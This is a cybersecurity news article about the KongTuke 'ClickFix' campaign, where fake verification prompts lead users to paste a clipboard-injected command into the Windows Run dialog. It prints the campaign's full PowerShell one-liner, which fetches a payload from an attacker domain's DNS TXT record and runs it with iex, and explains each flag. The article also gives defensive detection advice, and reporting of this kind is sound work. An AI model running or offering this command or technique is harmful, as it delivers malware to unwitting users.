Cyberattackers Exploit DNS TXT Records in ClickFix Script to Execute Malicious PowerShell Commands

Cybersecurity: An Overview of KongTuke's Social Engineering Campaign

The KongTuke evolution in "ClickFix" social engineering campaigns has been active since late December 2025. This variant utilizes DNS TXT records to deploy and retrieve malicious payloads, representing a significant advancement in evasion techniques.

The "ClickFix" approach involves exploiting legitimate websites or generating fake landing pages with deceptive prompts, such as "Verify You Are Human" or "Update Chrome." Unlike traditional phishing, this method tricks users into manually executing malware.

The attack instructs users to perform the following actions:

Press Windows Key + R to open the Run dialog. Press CTRL + V to paste a command into the box. Press Enter to execute the command.

The malicious command is inserted into the user's clipboard via JavaScript when interacting with the fake prompt on the webpage.

The KongTuke campaign introduces a PowerShell command designed to acquire malicious code from a DNS record instead of a conventional web server.

powershell -w h -ep bypass -c "iex((Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8).Strings -join'')"

-w h : Conceals the PowerShell window to prevent user alert. -ep bypass : Overrides the local execution policy to permit script running. Resolve-DnsName : Queries the TXT records of a controlled domain, such as payload.bruemald.top , rather than downloading a file from a URL. -Server 8.8.8.8 : Directs the query through Google’s public DNS to bypass local DNS filters. iex : Executes the text string retrieved from the DNS record using Invoke-Expression .

Storing payloads within DNS TXT records enables attackers to avoid hosting malicious files on web servers, which could be scanned by URL filters or firewalls. Network traffic appears as standard DNS lookups, often permitted in corporate environments.

Source code analysis reveals the malicious PowerShell script injected into the user's clipboard. Upon execution, the script retrieves a second-stage payload, typically an info-stealer or downloader for additional malware. Compromised domains hosting ClickFix pages, such as emierich.com , often remain unrecognized for days due to the dynamic injection of malicious content for specific visitors.

Organizations are advised to monitor for atypical PowerShell execution patterns, particularly those utilizing Resolve-DnsName with iex , and educate users about legitimate verification processes, which will not require running commands via the Windows Run dialog.

Based on reporting by GBHackers.